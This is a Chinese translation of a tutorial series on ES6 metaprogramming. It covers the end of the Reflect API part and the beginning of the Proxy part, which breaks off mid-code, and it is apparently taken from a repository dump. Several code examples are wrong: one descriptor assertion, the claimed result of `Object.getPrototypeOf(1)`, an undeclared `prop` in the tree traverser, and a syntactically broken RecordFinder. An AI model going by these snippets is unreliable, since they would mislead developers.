新的风格下，语义就通畅得多，因为 Reflect 只是在做反射。\nReflect.defineProperty(MyDate, 'now', {\n  value: () => currentms\n});\n```\n\n### Reflect.getOwnPropertyDescriptor ( target, propertyKey )\n\n同上面一样，我们优先使用 `Reflect.getOwnPropertyDescriptor` 代替 `Object.getOwnPropertyDescriptor` 来获得一个属性的描述子元信息。与 `Object.getOwnPropertyDescriptor(1, 'foo')` 会静默失败，返回 `undefined` 不同，`Reflect.getOwnPropertyDescriptor(1, 'foo')` 将抛出一个 `TypeError` 错误 —— 与 `Reflect.defineProperty` 一样，该错误是针对于 `target` 无效抛出的。你现在也知道了，我们可以使用 `Reflect.getOwnPropertyDescriptor` 替换掉 `Object.getOwnPropertyDescriptor` 了：\n\n```js\nvar myObject = {};\nObject.defineProperty(myObject, 'hidden', {\n  value: true,\n  enumerable: false,\n});\nvar theDescriptor = Reflect.getOwnPropertyDescriptor(myObject, 'hidden');\nassert.deepEqual(theDescriptor, { value: true, enumerable: true });\n\n// 老的风格\nvar theDescriptor = Object.getOwnPropertyDescriptor(myObject, 'hidden');\nassert.deepEqual(theDescriptor, { value: true, enumerable: true });\n\nassert(Object.getOwnPropertyDescriptor(1, 'foo') === undefined)\nReflect.getOwnPropertyDescriptor(1, 'foo'); // throws TypeError\n```\n\n### Reflect.deleteProperty ( target, propertyKey )\n\n非常非常令人兴奋，`Reflect.deleteProperty` 能够删除目标对象上的一个属性。在 ES6 之前，你一般是通过 `delete obj.foo`，现在，你可以使用 `Reflect.deleteProperty(obj, 'foo')` 来删除对象属性了。`Reflect.deleteProperty` 稍显冗长，在语义上与 `delete` 关键字有些不同，但对于删除对象却有相同的作用。二者都是调用内置的 `target[[Delete]](propertyKey)` 方法 —— 但是 `delete` 运算也能 “工作” 在非对象引用上（例如变量），因此它会对传递给它的运算数做更多的检查，潜在地，也就存在抛出错误的可能性：\n\n```js\nvar myObj = { foo: 'bar' };\ndelete myObj.foo;\nassert(myObj.hasOwnProperty('foo') === false);\n\nmyObj = { foo: 'bar' };\nReflect.deleteProperty(myObj, 'foo');\nassert(myObj.hasOwnProperty('foo') === false);\n```\n\n再重复一遍，如果你想的话，你可以考虑使用这个 “新的方式” 来删除属性。这个方式显然意图更加明确，就是删除属性。\n\n### Reflect.getPrototypeOf ( target )\n\n关于替代/淘汰 Object 方法的议题还在继续 —— 这一次该是 `Object.getPrototypeOf` 了。正如其兄妹方法一样，如果你传入了一个诸如 Number 和 String 字面量、`null` 或者是 `undefined` 这样无效的 `target`，`Reflect.getPropertyOf` 将抛出一个 `TypeError` 错误，而 `Object.getPropertyOf` 强制转化 `target` 为一个对象 —— 所以 `'a'` 变为了 `Object('a')`。除了语法以外，二者几乎相同：\n\n```js\nvar myObj = new FancyThing();\nassert(Reflect.getPrototypeOf(myObj) === FancyThing.prototype);\n\n// 老的风格\nassert(Object.getPrototypeOf(myObj) === FancyThing.prototype);\n\nObject.getPrototypeOf(1); // undefined\nReflect.getPrototypeOf(1); // TypeError\n```\n\n### Reflect.setPrototypeOf ( target, proto )\n\n当然，`getProtopertyOf` 不能没了 `setPropertyOf`。现在，`Object.setPrototypeOf` 对于传入非对象参数，将抛出错误，但它会尝试将传入参数强制转换为 Object，并且如果内置的 `[[SetPrototype]]` 操作失败，将抛出 `TypeError`，而如果成功的话，将返回 `target` 参数。`Reflect.setPrototypeOf` 则更加简单基础 —— 如果其收到了一个非对象参数，它就将抛出一个 `TypeError` 错误，但除此之外，它还会返回 `[[SetPrototypeOf]]` 的结果 —— 这是一个 Boolean 值，指出了操作是否错误。这是很有用的，因为你可以直接知晓操作错误与否，而不需要使用 `try`/`catch`，这将会俘获其他由于参数传递错误造成的 `TypeErrors`。 \n\n```js\nvar myObj = new FancyThing();\nassert(Reflect.setPrototypeOf(myObj, OtherThing.prototype) === true);\nassert(Reflect.getPrototypeOf(myObj) === OtherThing.prototype);\n\n// 老的风格\nassert(Object.setPrototypeOf(myObj, OtherThing.prototype) === myObj);\nassert(Object.getPrototypeOf(myObj) === FancyThing.prototype);\n\nObject.setPrototypeOf(1); // TypeError\nReflect.setPrototypeOf(1); // TypeError\n\nvar myFrozenObj = new FancyThing();\nObject.freeze(myFrozenObj);\n\nObject.setPrototypeOf(myFrozenObj); // TypeError\nassert(Reflect.setPrototypeOf(myFrozenObj) === false);\n```\n\n### Reflect.isExtensible (target)\n\n再一次强调这是用来替代 `Object.isExtensible` 的 —— 但是它比后者要更加复杂。在 ES6 之前（例如说 ES5），如果你传入了非对象参数（`typeof target !== object`），`Object.isExtensible` 会抛出一个 `TypeError`。ES6 则在语义上发生了改变（天哪！居然改变了现有的 API！）使得传入非对象参数时，`Object.isExtensible` 返回 `false` —— 因为非对象确实就是不可扩展。所以在 ES6 下，这个早先会抛出错误的语句：`Object.isExtensible(1) === false` 现在表现得如你所想，语义更加准确。\n\n上面简短的历史回顾引出关键点就是 `Reflect.isExtensible` 使用的是老旧行为，即当传入非对象参数时，抛出错误。我不真正确定为什么它要这么做，但它确实这么做了。所以技术上 `Reflect.isExtensible` 改变了 `Object.isExtensible` 的语义，但是 `Object.isExtensible` 自己也发生了语义改变。下面的代码说明了这些：\n\n```js\nvar myObject = {};\nvar myNonExtensibleObject = Object.preventExtensions({});\n\nassert(Reflect.isExtensible(myObject) === true);\nassert(Reflect.isExtensible(myNonExtensibleObject) === false);\nReflect.isExtensible(1); // 抛出 TypeError\nReflect.isExtensible(false);  // 抛出 TypeError\n\n// 使用 Object.isExtensible\nassert(Object.isExtensible(myObject) === true);\nassert(Object.isExtensible(myNonExtensibleObject) === false);\n\n// ES5 Object.isExtensible 语义\nObject.isExtensible(1); // 在老版本的浏览器下，会抛出 TypeError\nObject.isExtensible(false);  // 在老版本的浏览器下，会抛出 TypeError\n\n// ES6 Object.isExtensible 语义\nassert(Object.isExtensible(1) === false); // 只工作在新的浏览器\nassert(Object.isExtensible(false) === false); // 只工作在新的浏览器\n```\n\n### Reflect.preventExtensions ( target )\n\n这是最后一个反射对象从 Object 上借鉴的方法。它和 `Reflect.isExtensible` 有类似的故事；ES5 的 `Object.preventExtensions` 过去会对非对象参数抛出错误，但是现在，在 ES6 中，它会返回传入值，而 `Reflect.preventExtensions` 遵从的则是老的 ES5 行为 —— 即对非对象参数抛出错误。另外，在操作成功的情况下，`Object.preventExtensions` 可能抛出错误，但 `Reflect.preventExtension` 仅简单地返回 true 或者 false，允许你优雅地操控失败场景：\n\n```js\nvar myObject = {};\nvar myObjectWhichCantPreventExtensions = magicalVoodooProxyCode({});\n\nassert(Reflect.preventExtensions(myObject) === true);\nassert(Reflect.preventExtensions(myObjectWhichCantPreventExtensions) === false);\nReflect.preventExtensions(1); // 抛出 TypeError\nReflect.preventExtensions(false);  // 抛出 TypeError\n\n// 使用 Object.preventExtensions\nassert(Object.preventExtensions(myObject) === true);\nObject.preventExtensions(myObjectWhichCantPreventExtensions); // throws TypeError\n\n// ES5 Object.preventExtensions 语义\nObject.preventExtensions(1); // 抛出 TypeError\nObject.preventExtensions(false);  // 抛出 TypeError\n\n// ES6 Object.preventExtensions 语义\nassert(Object.preventExtensions(1) === 1);\nassert(Object.preventExtensions(false) === false);\n```\n\n### Reflect.enumerate ( target )\n\n> 更新：在 ES2016（也称 ES7）中，这被删除了。`myObject[Symbol.iterator]()` 是在对象 key 或者 value 上迭代的唯一方式。\n\n最后，将引出一个全新的 Reflect 方法！`Reflect.enumerate` 使用了和新的 `Symbol.iterator` 函数（在前一章节，已对此有过讨论） 一样的语法，二者都使用了隐藏的，只有 JavaScript 引擎知道的 `[[Enumerate]]` 方法。换句话说，`Reflect.enumerate` 的唯一替代只是 `myObject[Symbol.iterator()]`，只是后者可以被重写，而前者不行。使用范例如下：\n\n```js\nvar myArray = [1, 2, 3];\nmyArray[Symbol.enumerate] = function () {\n  throw new Error('Nope!');\n}\nfor (let item of myArray) { // error thrown: Nope!\n}\nfor (let item of Reflect.enumerate(myArray)) {\n  // 1 then 2 then 3\n}\n```\n\n### Reflect.get ( target, propertyKey [ , receiver ])\n\n`Reflect.get` 也是一个全新的方法。它是一个非常简单的方法，其有效地调用了 `target[propertyKey]`。如果 `target` 是一个非对象，函数调用将抛出错误 —— 这是很有用的，因为目前如果你写了 `1['foo']` 这样的代码，它只会静默返回 `undefined`，而 `Reflect.get(1, 'foo')` 将抛出一个 `TypeError` 错误！`Reflect.get` 一个有趣的部分是它的 `receiver` 参数，如果 `target[propertyKey]` 是一个 getter 函数，它则作为该函数的 this，例子如下所示：\n\n```js\nvar myObject = {\n  foo: 1,\n  bar: 2,\n  get baz() {\n    return this.foo + this.bar;\n  },\n}\n\nassert(Reflect.get(myObject, 'foo') === 1);\nassert(Reflect.get(myObject, 'bar') === 2);\nassert(Reflect.get(myObject, 'baz') === 3);\nassert(Reflect.get(myObject, 'baz', myObject) === 3);\n\nvar myReceiverObject = {\n  foo: 4,\n  bar: 4,\n};\nassert(Reflect.get(myObject, 'baz', myReceiverObject) === 8);\n\n// 非对象将抛出错误\nReflect.get(1, 'foo'); // 抛出 TypeError\nReflect.get(false, 'foo'); // 抛出 TypeError\n\n// 老的风格下，静默返回 `undefined`：\nassert(1['foo'] === undefined);\nassert(false['foo'] === undefined);\n```\n\n### Reflect.set ( target, propertyKey, V [ , receiver ] )\n\n你大致能够猜出该方法是做什么的。它是 `Reflect.get` 的兄弟方法，它接收另外一个参数 —— 需要被设置的值。如 `Reflect.get` 一样，`Reflect.set` 将在传入非对象参数时，抛出错误，并且也有一个 `receiver` 参数指明 `target[propertyKey]` 为 setter 函数时使用的 `this`。必须上个代码示例：\n\n```js\nvar myObject = {\n  foo: 1,\n  set bar(value) {\n    return this.foo = value;\n  },\n}\n\nassert(myObject.foo === 1);\nassert(Reflect.set(myObject, 'foo', 2));\nassert(myObject.foo === 2);\nassert(Reflect.set(myObject, 'bar', 3));\nassert(myObject.foo === 3);\nassert(Reflect.set(myObject, 'bar', myObject) === 4);\nassert(myObject.foo === 4);\n\nvar myReceiverObject = {\n  foo: 0,\n};\nassert(Reflect.set(myObject, 'bar', 1, myReceiverObject));\nassert(myObject.foo === 4);\nassert(myReceiverObject.foo === 1);\n\n// 非对象将抛出错误\nReflect.set(1, 'foo', {}); // 抛出 TypeError\nReflect.set(false, 'foo', {}); // 抛出 TypeError\n\n// 老的风格下，静默返回 `undefined`：\n1['foo'] = {};\nfalse['foo'] = {};\nassert(1['foo'] === undefined);\nassert(false['foo'] === undefined);\n```\n\n### Reflect.has ( target, propertyKey )\n\n`Reflect.has` 是一个非常有趣的方法，因为它本质上与 `in` 运算符有一样的功能（在循环之外）。二者都使用了内置的 `[[HasProperty]]`，并且都会在 `target` 不为对象时抛出错误。除非你更偏向于函数调用的风格，相较于 `in`，没有多少使用 `Reflect.has` 的理由，但是它在语言的其他方面有重要的使用，这将在下一章有清楚的讲述。无论如何，先看看怎么用它：\n\n```js\nmyObject = {\n  foo: 1,\n};\nObject.setPrototypeOf(myObject, {\n  get bar() {\n    return 2;\n  },\n  baz: 3,\n});\n\n// 不使用 Reflect.has：\nassert(('foo' in myObject) === true);\nassert(('bar' in myObject) === true);\nassert(('baz' in myObject) === true);\nassert(('bing' in myObject) === false);\n\n// 使用 Reflect.has：\nassert(Reflect.has(myObject, 'foo') === true);\nassert(Reflect.has(myObject, 'bar') === true);\nassert(Reflect.has(myObject, 'baz') === true);\nassert(Reflect.has(myObject, 'bing') === false);\n```\n\n### Reflect.ownKeys ( target )\n\n该方法已经在本文有所提及了，你可以看到 `Reflect.ownKeys` 实现了 `[[OwnPropertyKeys]]`，你回想一下上文的内容，你知道它连接了 `Object.getOwnPropertyNames` 和 `Object.getOwnPropertySymbols` 的结果。这让 `Reflect.ownKeys` 有着不可替代的作用。下面看到用法： \n\n```js\nvar myObject = {\n  foo: 1,\n  bar: 2,\n  [Symbol.for('baz')]: 3,\n  [Symbol.for('bing')]: 4,\n};\n\nassert.deepEqual(Object.getOwnPropertyNames(myObject), ['foo', 'bar']);\nassert.deepEqual(Object.getOwnPropertySymbols(myObject), [Symbol.for('baz'), Symbol.for('bing')]);\n\n// 不使用 Reflect.ownKeys：\nvar keys = Object.getOwnPropertyNames(myObject).concat(Object.getOwnPropertySymbols(myObject));\nassert.deepEqual(keys, ['foo', 'bar', Symbol.for('baz'), Symbol.for('bing')]);\n\n// 使用 Reflect.ownKeys：\nassert.deepEqual(Reflect.ownKeys(myObject), ['foo', 'bar', Symbol.for('baz'), Symbol.for('bing')]);\n```\n\n## 结论\n\n我们对各个 Reflect 方法进行了彻底的讨论。我们看到了一些现有方法的新版本，一些做了微调，一些则是完完全全新的方法 —— 这将 JavaScript 的反射提升到了一个新的层面。如果你想的话，大可以完全的抛弃 `Object`.`*/Function.*` 方法，用 `Reflect` 替代之，如果你不想的话，别担心，不用就不用，什么都不会改变。\n\n现在，我不想你看完两手空空，毫无所获。如果你想要使用 `Reflect`，我们已经给予了你支持 —— 作为这个文章背后工作的一部分，我提交了一个 [pull request 到 eslint](https://github.com/eslint/eslint/pull/2996)，在 `v1.0.0` 版本，[ESlint 有了一个](http://eslint.org/docs/rules/prefer-reflect) `prefer-reflect` [规则](http://eslint.org/docs/rules/prefer-reflect)，这可以让你在使用老旧版本的 Reflect 方法时，得到 ESLint 的提示。你也可以看下我的 [eslint-config-strict](https://github.com/keithamus/eslint-config-strict) 配置，该开启 `prefer-reflect` 规则（也添加了许多额外的规则）。当然，如果你决定你想要使用 Reflect，你可能需要 polyfill 它；幸运的是，现在已经有了一些好的 polyfill，如 [core-js](https://github.com/zloirock/core-js) 和 [harmony-reflect](https://github.com/tvcutsem/harmony-reflect)。\n\n对于新的 Reflect API ，你是怎么看待的 ？计划在你的项目中使用它了 ？可以在我的 Twitter 给我留言，我是 [@keithamus](https://twitter.com/keithamus)。\n\n也别忘了，这个系列的第三部分 —— 代理（Proxy）也快发布了，我不会再拖延两个月了。\n\n最后，要谢谢 [@mttshw](https://twitter.com/mttshw) 和 [@WebReflection](https://twitter.com/WebReflection) 对我工作的审视，才让文章比预计的更加高质。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/metaprogramming-in-es6-part-3-proxies.md",
    "content": "> * 原文地址：[Metaprogramming in ES6: Part 3 - Proxies](https://www.keithcirkel.co.uk/metaprogramming-in-es6-part-3-proxies/)\n> * 原文作者：[Keith Cirkel](https://twitter.com/keithamus)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-part-3-proxies.md](https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-part-3-proxies.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[caoyi0905](https://github.com/caoyi0905) [PCAaron](https://github.com/PCAaron)\n\n# ES6 中的元编程： 第三部分 —— 代理（Proxies）\n\n这是我的 ES6 元编程系列的第三部分，也是最后一部分，还记得这个系列的文章我一年之前就开始动笔了，并且承诺不会花一年才写完，但现实就是我还真花费了如此多的时间去完成。在最后这篇文章中，我们要看看可能是 ES6 中最酷的反射特性：代理（Proxy）。由于反射和本文的部分内容有关，如果你还没读过[上一篇讲述 ES6 Reflect API 的文章](/metaprogramming-in-es6-part-2-reflect/)，以及[更早的、讲述 ES6 Symbols 的文章](/metaprogramming-in-es6-symbols/)，先倒回去阅读一下，这样才能更好地理解本文。和其他部分一样，我先引用一下在第一部分提到过的观点：\n\n* Symbols 是 **实现了的反射（Reflection within implementation）**—— 你将 Symbols 应用到你已有的类和对象上去改变它们的行为。\n* Reflect 是 **通过自省（introspection）实现反射（Reflection through introspection）** —— 通常用来探索非常底层的代码信息。\n* Proxy 是 **通过调解（intercession）实现反射（Reflection through intercession）** —— 包裹对象并通过自陷（trap）来拦截对象行为。\n\n因此，`Proxy` 是一个全新的全局构造函数（类似 `Date` 或者 `Number`），你可以传递给其一个对象，以及一些钩子（hook），它能为你返回一个 **新的** 对象，新的对象使用这些充满魔力的钩子包裹了老对象。现在，你拥有了代理，希望你喜欢它，我也高兴你回到这个系列中来。\n\n关于代理，有很多需要阐述的。但对新手来说，先让我们看看怎么创建一个代理。\n\n## 创建代理\n\nProxy 构造函数接受两个参数，其一是你想要代理的初始对象，其二是一系列处理钩子（handler hooks）。我们先忽略第二个钩子参数，看看怎么为现有对象创建代理。线索即在代理这个名字中：它们维持了一个你创建对象的引用，但是如果你有了一个原始对象的引用，任何你和原始对象的交互，都会影响到代理，类似地，任何你对代理做的改变，反过来也都会影响到原始对象。换句话说，Proxy 返回了一个包裹了传入对象的新对象，但是任何你对二者的操作，都会影响到它们彼此。为了证实这一点，请看代码：\n\n```js\nvar myObject = {};\nvar proxiedMyObject = new Proxy(myObject, {/*以及一系列处理钩子*/});\n\nassert(myObject !== proxiedMyObject);\n\nmyObject.foo = true;\nassert(proxiedMyObject.foo === true);\n\nproxiedMyObject.bar = true;\nassert(myObject.bar === true);\n```\n\n目前为止，我们什么目的也没达到，相较于直接使用被代理对象，代理并不能提供任何额外收益。只有用上了处理钩子，我们才能在代理上做一些有趣的事儿。\n\n## 代理的处理钩子\n\n处理钩子是一系列的函数，每一个钩子都有一个具体名字以供代理识别，每一个钩子也控制了你如何和代理交互（因此，也控制了你和被包裹对象的交互）。处理钩子勾住了 JavaScript 的 “内置方法”，如果你对此感觉熟悉，是因为我们在 [上一篇介绍 Reflect API 的文章](https://juejin.im/post/5a0e66386fb9a04523417418) 中提到了内置方法。\n\n是时候铺开来说代理了。我把代理放到系列的最后一部分的重要原因是：由于代理和反射就像一对苦命鸳鸯交织在一起，因此我们需要先知道反射是如何工作的。如你所见，每一个代理钩子都对应到一个反射方法，反之亦然，每一个反射方法都有一个代理钩子。完整的反射方法及对应的代理处理钩子如下：\n\n* `apply` （以一个 `this` 参数和一系列 `arguments`（参数序列）调用函数）\n* `construct`（以一系列 `arguments` 及一个可选的、指明了原型的构造函数调用一个类函数或者构造函数）\n* `defineProperty` （在对象上定义一个属性，并声明该属性中诸如对象可迭代性这样的元信息）\n* `getOwnPropertyDescriptor` （获得一个属性的 “属性描述子”：描述子包含了诸如对象可迭代性这样的元信息）\n* `deleteProperty` （从对象上删除某个属性）\n* `getPrototypeOf` （获得某实例的原型）\n* `setPrototypeOf` （设置某实例的原型）\n* `isExtensible` （判断一个对象是否是 “可扩展的”，亦即判断是否可以为其添加属性）\n* `preventExtensions` （阻止对象被扩展）\n* `get` （得到对象的某个属性）\n* `set` （设置对象的某个属性）\n* `has` （在不断言（assert）属性值的情况下，判断对象是否含有某个属性）\n* `ownKeys` （获得某个对象自身所有的 key，排除掉其原型上的 key）\n\n在[反射那一部分中](https://juejin.im/post/5a0e66386fb9a04523417418)（再啰嗦一遍，如果你没看过，赶快去看），我们已经浏览过上述所有方法了（并附带有例子）。代理用相同的参数集实现了每一个方法。实际上， 代理的默认行为实际上已经实现了对每个处理程序钩子的反射调用（其内部机制对于不同的 JavaScript 引擎可能会有所区别，但对于没有说明的钩子，我们只需要认为它和对应的反射方法行为一致即可）。这也意味着，任何你没有指定的钩子，都具有和默认状况一致的行为，就像它从未被代理过一样：\n\n```js\n// 我们新创建了代理，并定义了与默认创建时一样的行为\nproxy = new Proxy({}, {\n  apply: Reflect.apply,\n  construct: Reflect.construct,\n  defineProperty: Reflect.defineProperty,\n  getOwnPropertyDescriptor: Reflect.getOwnPropertyDescriptor,\n  deleteProperty: Reflect.deleteProperty,\n  getPrototypeOf: Reflect.getPrototypeOf,\n  setPrototypeOf: Reflect.setPrototypeOf,\n  isExtensible: Reflect.isExtensible,\n  preventExtensions: Reflect.preventExtensions,\n  get: Reflect.get,\n  set: Reflect.set,\n  has: Reflect.has,\n  ownKeys: Reflect.ownKeys,\n});\n```\n\n现在，我可以深入到每个代理钩子的工作细节中去了，但是基本上都是复制粘贴反射中的例子（只需要修改很少的部分）。如果只是介绍每个钩子的功能，对代理来说就不太公平，因为代理是去实现一些炫酷用例的。所以，本文剩余内容都将为你展示通过代理完成的炫酷的东西，甚至是一些你没了代理就无法完成的事。\n\n同时，为了让内容更具交互性，我为每个例子都创建一个小的库来展示对应的功能。我会给出每个例子对应的代码仓库链接。\n\n## 用代理来......\n\n### 构建一个可无限链接（chainable）的 API\n\n以前面的例子为基础 —— 我们仍使用 `[[Get]]` 自陷：只需要再施加一点魔法，我们就能构建一个拥有无数方法的 API，当你最终调用其中某个方法时，将返回所有你被你链接的值。[fluent API（流畅 API）](https://en.wikipedia.org/wiki/Fluent_interface) 为 web 请求构建了各个 URL，[Chai](https://github.com/chaijs/chai) 这类的测试框架将各个英文单词链接组成高可读的测试断言，通过这些，我们知道可无限链接的 API 是多么有用。\n\n为了实现这个 API，我们就需要钩子勾住 `[[Get]]`，将取到的属性保存到数组中。代理 ( Proxy ) 将包装一个函数，返回所有检索到的支持的Array，并清空数组，以便可以重用它。我们也会勾住 `[[HasProperty]]`，因为我们想告诉 API 的使用者，任何属性都是存在的。\n\n```js\nfunction urlBuilder(domain) {\n  var parts = [];\n  var proxy = new Proxy(function () {\n    var returnValue = domain + '/' + parts.join('/');\n    parts = [];\n    return returnValue;\n  }, {\n    has: function () {\n      return true;\n    },\n    get: function (object, prop) {\n      parts.push(prop);\n      return proxy;\n    },\n  });\n  return proxy;\n}\nvar google = urlBuilder('http://google.com');\nassert(google.search.products.bacon.and.eggs() === 'http://google.com/search/products/bacon/and/eggs')\n```\n\n你也可以用相同的模式实现一个树遍历的 fluent API，这类似于你在 jQuery 或者 React 中看到的选择器：\n\n```js\nfunction treeTraverser(tree) {\n  var parts = [];\n  var proxy = new Proxy(function (parts) {\n    let node = tree; // 从树的根节点开始\n    for (part of parts) {\n      if (!node.props || !node.props.children || node.props.children.length === 0) {\n        throw new Error(`Node ${node.tagName} has no more children`);\n      }\n      // 如果该部分是一个子节点，就深入到该子节点进行下一次遍历\n      let index = node.props.children.findIndex((child) => child.tagName == part);\n      if(index === -1) {\n        throw new Error(`Cannot find child: ${part} in ${node.tagName}`);\n      }\n      node = node.props.children[index];\n    }\n    return node.props;\n  }, {\n    has: function () {\n      return true;\n    },\n    get: function () {\n      parts.push(prop);\n      return proxy;\n    }\n  });\n  return proxy;\n}\nvar myDomIsh = treeTraverserExample({\n  tagName: 'body',\n  props: {\n    children: [\n      {\n        tagName: 'div',\n        props: {\n          className: 'main',\n          children: [\n            {\n              tagName: 'span',\n              props: {\n                className: 'extra',\n                children: [\n                  { tagName: 'i', props: { textContent: 'Hello' } },\n                  { tagName: 'b', props: { textContent: 'World' } },\n                ]\n              }\n            }\n          ]\n        }\n      }\n    ]\n  }\n});\nassert(myDomIsh.div.span.i().textContent === 'Hello');\nassert(myDomIsh.div.span.b().textContent === 'World');\n```\n\n我已经发布了一个更加可复用的版本到 [github.com/keithamus/proxy-fluent-api](https://github.com/keithamus/proxy-fluent-api) 上，npm 上也有其同名的包。\n\n### 实现一个 “方法缺失” 钩子\n\n许多其他的编程语言都允许你使用一个内置的反射方法去重写一个类的行为，例如，在 PHP 中有 `__call`，在 Ruby 中有 `method_missing`，在 Python 中则有 `__getattr__`。JavaScript 缺乏这个机制，但现在我们有了代理去实现它。\n\n在开始介绍代理的实现之前，我们先看下 Ruby 是怎么做的，来从中获得一些灵感：\n\n```rb\nclass Foo\n  def bar()\n    print \"you called bar. Good job!\"\n  end\n  def method_missing(method)\n    print \"you called `#{method}` but it doesn't exist!\"\n  end\nend\n\nfoo = Foo.new\nfoo.bar()\n#=> you called bar. Good job!\nfoo.this_method_does_not_exist()\n#=》 you called this_method_does_not_exist but it doesn't exist!\n```\n\n对于任何存在方法，在此例中是 `bar`，该方法能够按预期被执行。对于不存在方法，比如 `foo` 或者 `this_method_does_not_exist`，在调用时会被 `method_missing` 替代。另外，`method_missing` 接受方法名作为第一个参数，这对于判断用户意图非常有用。\n\n我们可以通过混入 ES6 Symbol 实现类似的功能：使用一个函数包裹类，该函数将返回使用了 `get`（`[[Get]]`）自陷的代理，或者说是拦截了 `get` 行为的代理：\n\n```js\nfunction Foo() {\n  return new Proxy(this, {\n    get: function (object, property) {\n      if (Reflect.has(object, property)) {\n        return Reflect.get(object, property);\n      } else {\n        return function methodMissing() {\n          console.log('you called ' + property + ' but it doesn\\'t exist!');\n        }\n      }\n    }\n  });\n}\n\nFoo.prototype.bar = function () {\n  console.log('you called bar. Good job!');\n}\n\nfoo = new Foo();\nfoo.bar();\n// you called bar. Good job!\nfoo.this_method_does_not_exist();\n// you called this_method_does_not_exist but it doesn't exist!\n```\n\n当你有若干方法功能非常类似，并且可以从函数名推测功能间的差异性，上面的做法就非常有用。将函数的功能区分从参数转移到函数名，将带来更好的可读性。作为此的一个例子 —— 你可以快速轻易地创建一个单位转换 API，如货币或者是进制的转化：\n\n```js\nconst baseConvertor = new Proxy({}, {\n  get: function baseConvert(object, methodName) {\n    var methodParts = methodName.match(/base(\\d+)toBase(\\d+)/);\n    var fromBase = methodParts && methodParts[1];\n    var toBase = methodParts && methodParts[2];\n    if (!methodParts || fromBase > 36 || toBase > 36 || fromBase < 2 || toBase < 2) {\n      throw new Error('TypeError: baseConvertor' + methodName + ' is not a function');\n    }\n    return function (fromString) {\n      return parseInt(fromString, fromBase).toString(toBase);\n    }\n  }\n});\n\nbaseConvertor.base16toBase2('deadbeef') === '11011110101011011011111011101111';\nbaseConvertor.base2toBase16('11011110101011011011111011101111') === 'deadbeef';\n```\n\n当然，你也可以手动创建总计 1296 组合情况的方法，或者单独通过一个循环来创建这些方法，但是这两者都需要用更多的代码来完成。\n\n一个更加具体的例子是 Ruby on Rails 中的 ActiveRecord，其源于 “动态查找（dynamic finders）”。ActiveRecord 基本上实现了 “method_missing” 来允许你根据列查询一个表。使用函数名作为查询关键字，避免了使用传递一个复杂对象来创建查询语句：\n\n```js\nUsers.find_by_first_name('Keith'); # [ Keith Cirkel, Keith Urban, Keith David ]\nUsers.find_by_first_name_and_last_name('Keith', 'David');  # [ Keith David ]\n```\n\n在 JavaScript 中，我们也能实现类似功能：\n\n```js\nfunction RecordFinder(options) {\n  this.attributes = options.attributes;\n  this.table = options.table;\n  return new Proxy({}, function findProxy(methodName) {\n    var match = methodName.match(new RegExp('findBy((?:And)' + this.attributes.join('|') + ')'));\n    if (!match){\n      throw new Error('TypeError: ' + methodName + ' is not a function');\n    }\n  });\n});\n```\n\n和其他例子一样，我已经写了一个关于此的库放到了 [github.com/keithamus/proxy-method-missing](https://github.com/keithamus/proxy-method-missing)，npm 上也可以到同名的包。\n\n### 从 `getOwnPropertyNames`、`Object.keys`、`in` 等所有迭代方法中隐藏所有的属性\n\n我们可以使用代理让一个对象的所有的属性都隐藏起来，除非是要获得属性的值。下面罗列了所有 JavaScript 中你可以判断某属性是否存在于一个对象的方法：\n\n* `Reflect.has`、`Object.hasOwnProperty`、`Object.prototype.hasOwnProperty` 以及 `in` 运算符全部使用了 `[[HasProperty]]`。代理可以通过 `has` 拦截它。\n* `Object.keys`/`Object.getOwnPropertyNames` 都使用了 `[[OwnPropertyKeys]]`。代理可以通过 `ownKeys` 进行拦截。\n* `Object.entries` （一个即将到来的 ES2017 特性），也使用了 `[[OwnPropertyKeys]]`，代理仍然可以通过 `ownKeys` 进行拦截。\n* `Object.getOwnPropertyDescriptor` 使用了 `[[GetOwnProperty]]`。特别特别让人兴奋的是，代理可以通过 `getOwnPropertyDescriptor` 进行拦截。\n\n```js\nvar example = new Proxy({ foo: 1, bar: 2 }, {\n  has: function () { return false; },\n  ownKeys: function () { return []; },\n  getOwnPropertyDescriptor: function () { return false; },\n});\nassert(example.foo === 1);\nassert(example.bar === 2);\nassert('foo' in example === false);\nassert('bar' in example === false);\nassert(example.hasOwnProperty('foo') === false);\nassert(example.hasOwnProperty('bar') === false);\nassert.deepEqual(Object.keys(example), [ ]);\nassert.deepEqual(Object.getOwnPropertyNames(example), [ ]);\n```\n\n老实说，我也没有发现这个模式有特别大的用处。但是，我还是创建了一个关于此的一个库，并放在了[github.com/keithamus/proxy-hide-properties](https://github.com/keithamus/proxy-hide-properties)，它能让你单独地设置某个属性不可见了，而不是一锅端地让所有属性不可见。\n\n### 实现一个观察者模式，也称作 Object.observe\n\n对新规范所添加的内容一直敏锐追踪的人们可能已经注意到了， `Object.observe` 开始被考虑纳入 ES2016 了。`Object.observe` 的拥护者已经开始计划 [起草包含有有 Object.observe 的提案](https://esdiscuss.org/topic/an-update-on-object-observe)，他们对此有一个非常好的理由：草案初衷就是要帮助框架作者解决数据绑定（Data Binding）的问题。现在，随着 React 和 Polymer 1.0 的发布，数据绑定框架有所降温，不可变数据（immutable data）开始变得流行。 \n\n庆幸的是，代理让诸如 Object.observe 这样的规范变得多余，现在我们可以通过代理实现一个更加底层的 Object.observe。为了更加接近 Object.observe 所具有的特性，我们需要钩住 `[[Set]]`、`[[PreventExtensions]]`、`[[Delete]]` 以及 `[[DefineOwnProperty]]` 这些内置方法 —— 代理分别可以使用 `set`、`preventExtensions`、`deleteProperty` 及 `defineProperty` 进行拦截：\n\n```js\nfunction observe(object, 